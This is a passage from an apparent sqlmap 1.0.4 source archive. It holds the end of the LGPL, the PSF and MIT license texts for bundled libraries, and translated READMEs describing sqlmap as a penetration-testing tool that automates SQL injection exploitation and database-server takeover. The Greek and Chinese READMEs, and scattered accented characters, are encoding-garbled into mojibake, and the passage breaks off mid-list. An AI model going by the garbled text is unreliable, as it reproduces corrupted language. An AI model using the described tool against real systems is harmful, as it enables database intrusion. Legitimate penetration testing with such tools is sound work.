the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. ```` # PSF * The Magic library located under thirdparty/magic/. Copyright (C) 2011, Adam Hupp. ```` PSF LICENSE AGREEMENT FOR PYTHON 2.7.3 This LICENSE AGREEMENT is between the Python Software Foundation (“PSFâ€), and the Individual or Organization (“Licenseeâ€) accessing and otherwise using Python 2.7.3 software in source or binary form and its associated documentation. Subject to the terms and conditions of this License Agreement, PSF hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 2.7.3 alone or in any derivative version, provided, however, that PSF’s License Agreement and PSF’s notice of copyright, i.e., “Copyright © 2001-2012 Python Software Foundation; All Rights Reserved†are retained in Python 2.7.3 alone or in any derivative version prepared by Licensee. In the event Licensee prepares a derivative work that is based on or incorporates Python 2.7.3 or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python 2.7.3. PSF is making Python 2.7.3 available to Licensee on an “AS IS†basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 2.7.3 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 2.7.3 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 2.7.3, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. This License Agreement will automatically terminate upon a material breach of its terms and conditions. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between PSF and Licensee. This License Agreement does not grant permission to use PSF trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party. By copying, installing or otherwise using Python 2.7.3, Licensee agrees to be bound by the terms and conditions of this License Agreement. ```` # MIT * The bottle web framework library located under thirdparty/bottle/. Copyright (C) 2012, Marcel Hellkamp. * The PageRank library located under thirdparty/pagerank/. Copyright (C) 2010, Corey Goldberg. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. ```` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ```` # Public domain * The PyDes library located under thirdparty/pydes/. Copyleft 2009, Todd Whiteman. sqlmap-1.0.4/doc/translations/000077500000000000000000000000001270044205500162765ustar00rootroot00000000000000sqlmap-1.0.4/doc/translations/README-es-MX.md000066400000000000000000000070431270044205500205100ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". Capturas de Pantalla --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). Instalación --- Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) ** 2.6.x** y ** 2.7.x** en cualquier plataforma. Uso --- Para obtener una lista de opciones básicas: python sqlmap.py -h Para obtener una lista de todas las opciones: python sqlmap.py -hh Se puede encontrar una muestra de su funcionamiento [aquí](https://gist.github.com/stamparm/5335217). Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki). Enlaces --- * Página principal: http://sqlmap.org * Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Subscripción a la lista de correo: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * Fuente de la lista de correo "RSS feed": http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Archivos de lista de correo: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.0.4/doc/translations/README-gr-GR.md000066400000000000000000000104671270044205500205010ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) Το sqlmap είναι Ï€ÏόγÏαμμα Î±Î½Î¿Î¹Ï‡Ï„Î¿Ï ÎºÏŽÎ´Î¹ÎºÎ±, που αυτοματοποιεί την εÏÏεση και εκμετάλλευση ευπαθειών Ï„Ïπου SQL Injection σε βάσεις δεδομένων. ΈÏχεται με μια δυνατή μηχανή αναγνώÏισης ευπαθειών, πολλά εξειδικευμένα χαÏακτηÏιστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εÏÏος επιλογών αÏχίζοντας από την αναγνώÏιση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχÏι και Ï€Ïόσβαση στο βαθÏτεÏο σÏστημα αÏχείων και εκτέλεση εντολών στο απευθείας στο λειτουÏγικό μέσω εκτός ζώνης συνδέσεων. Εικόνες ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ΜποÏείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνÏουν κάποια από τα χαÏακτηÏιστικά. Εγκατάσταση ---- Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). Κατά Ï€Ïοτίμηση, μποÏείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήÏιο: git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev Το sqlmap λειτουÏγεί χωÏίς πεÏαιτέÏω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόÏμα. ΧÏήση ---- Για να δείτε μια βασική λίστα από επιλογές πατήστε: python sqlmap.py -h Για να πάÏετε μια λίστα από όλες τις επιλογές πατήστε: python sqlmap.py -hh ΜποÏείτε να δείτε ένα δείγμα λειτουÏγίας του Ï€ÏογÏάμματος [εδώ](https://gist.github.com/stamparm/5335217). Για μια γενικότεÏη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηÏιζόμενων χαÏακτηÏιστικών και πεÏιγÏαφή για όλες τις επιλογές, μαζί με παÏαδείγματα, καλείστε να συμβουλευτείτε το [εγχειÏίδιο χÏήστη](https://github.com/sqlmapproject/sqlmap/wiki). ΣÏνδεσμοι ---- * ΑÏχική σελίδα: http://sqlmap.org * Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * ΠÏοβλήματα: https://github.com/sqlmapproject/sqlmap/issues * ΕγχειÏίδιο ΧÏήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές ΕÏωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ΕγγÏαφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mailing list αÏχείο: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.0.4/doc/translations/README-hr-HR.md000066400000000000000000000064011270044205500204740ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoÅ¡tvom korisnih opcija za napredno penetracijsko testiranje te Å¡iroki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datoteÄnom sustavu i izvrÅ¡avanja komandi na operacijskom sustavu koriÅ¡tenjem tzv. "out-of-band" veza. Slike zaslona ---- ![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od znaÄajki na wiki stranicama. Instalacija ---- Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap radi bez posebnih zahtjeva koriÅ¡tenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi. KoriÅ¡tenje ---- Kako biste dobili listu osnovnih opcija i prekidaÄa koristite: python sqlmap.py -h Kako biste dobili listu svih opcija i prekidaÄa koristite: python sqlmap.py -hh Možete pronaći primjer izvrÅ¡avanja [ovdje](https://gist.github.com/stamparm/5335217). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih znaÄajki te opis svih opcija i prekidaÄa, zajedno s primjerima, preporuÄen je uvid u [korisniÄki priruÄnik](https://github.com/sqlmapproject/sqlmap/wiki). Poveznice ---- * PoÄetna stranica: http://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * KorisniÄki priruÄnik: https://github.com/sqlmapproject/sqlmap/wiki * NajÄešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.0.4/doc/translations/README-id-ID.md000066400000000000000000000061531270044205500204460ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- Anda dapat mengunduh tarball versi terbaru [di sini] (https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun. Penggunaan ---- Untuk mendapatkan daftar opsi dasar gunakan: python sqlmap.py -h Untuk mendapatkan daftar opsi lanjut gunakan: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217). Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki). Tautan ---- * Situs: http://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * RSS feed dari milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.0.4/doc/translations/README-pt-BR.md000066400000000000000000000064051270044205500205040ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- ![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. Instalação ---- Você pode baixar o arquivo tar mais recente clicando [aqui] (https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. Como usar ---- Para obter uma lista das opções básicas faça: python sqlmap.py -h Para obter a lista completa de opções faça: python sqlmap.py -hh Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217). Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: http://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.0.4/doc/translations/README-tr-TR.md000066400000000000000000000061221270044205500205240ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap geliÅŸmiÅŸ tespit özelliÄŸinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine eriÅŸmek, dosya çalıştırmak gibi - iÅŸlevleri de barındırmaktadır. Ekran görüntüleri ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Ä°sterseniz özelliklerin tanıtımının yapıldığı [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. Kurulum ---- [Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6.x** and **2.7.x** versiyonları ile bütün platformlarda çalışabilmektedir. Kullanım ---- Bütün basit seçeneklerin listesini gösterir python sqlmap.py -h Bütün seçenekleri gösterir python sqlmap.py -hh Program ile ilgili örnekleri [burada](https://gist.github.com/stamparm/5335217) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduÄŸu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz Links ---- * Anasayfa: http://sqlmap.org * Ä°ndirme baÄŸlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Mail listesi: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * Mail RSS takibi: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mail listesi arÅŸivi: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.0.4/doc/translations/README-zh-CN.md000066400000000000000000000057651270044205500205070ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap 是一个开æºçš„渗é€æµ‹è¯•å·¥å…·ï¼Œå¯ä»¥ç”¨æ¥è‡ªåŠ¨åŒ–的检测，利用SQL注入æ¼æ´žï¼ŒèŽ·å–æ•°æ®åº“æœåŠ¡å™¨çš„æƒé™ã€‚它具有功能强大的检测引擎,针对å„ç§ä¸åŒç±»åž‹æ•°æ®åº“的渗é€æµ‹è¯•çš„功能选项，包括获å–æ•°æ®åº“中存储的数æ®ï¼Œè®¿é—®æ“作系统文件甚至å¯ä»¥é€šè¿‡å¤–带数æ®è¿žæŽ¥çš„æ–¹å¼æ‰§è¡Œæ“作系统命令。 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ä½ å¯ä»¥è®¿é—® wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看å„ç§ç”¨æ³•çš„演示 安装方法 ---- ä½ å¯ä»¥ç‚¹å‡» [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的æºä»£ç  或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的æºä»£ç . 推è你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获å–最新的æºä»£ç : git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap å¯ä»¥è¿è¡Œåœ¨ [Python](http://www.python.org/download/) **2.6.x** å’Œ **2.7.x** 版本的任何平å°ä¸Š 使用方法 ---- 通过如下命令å¯ä»¥æŸ¥çœ‹åŸºæœ¬çš„用法åŠå‘½ä»¤è¡Œå‚æ•°: python sqlmap.py -h 通过如下的命令å¯ä»¥æŸ¥çœ‹æ‰€æœ‰çš„用法åŠå‘½ä»¤è¡Œå‚æ•°: python sqlmap.py -hh ä½ å¯ä»¥ä»Ž [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外，你还å¯ä»¥æŸ¥çœ‹ [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获å–sqlmap所有支æŒçš„特性ã€å‚æ•°ã€å‘½ä»¤è¡Œé€‰é¡¹å¼€å…³åŠè¯´æ˜Žçš„使用帮助。 链接 ---- * 项目主页: http://sqlmap.org * æºä»£ç ä¸‹è½½: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: 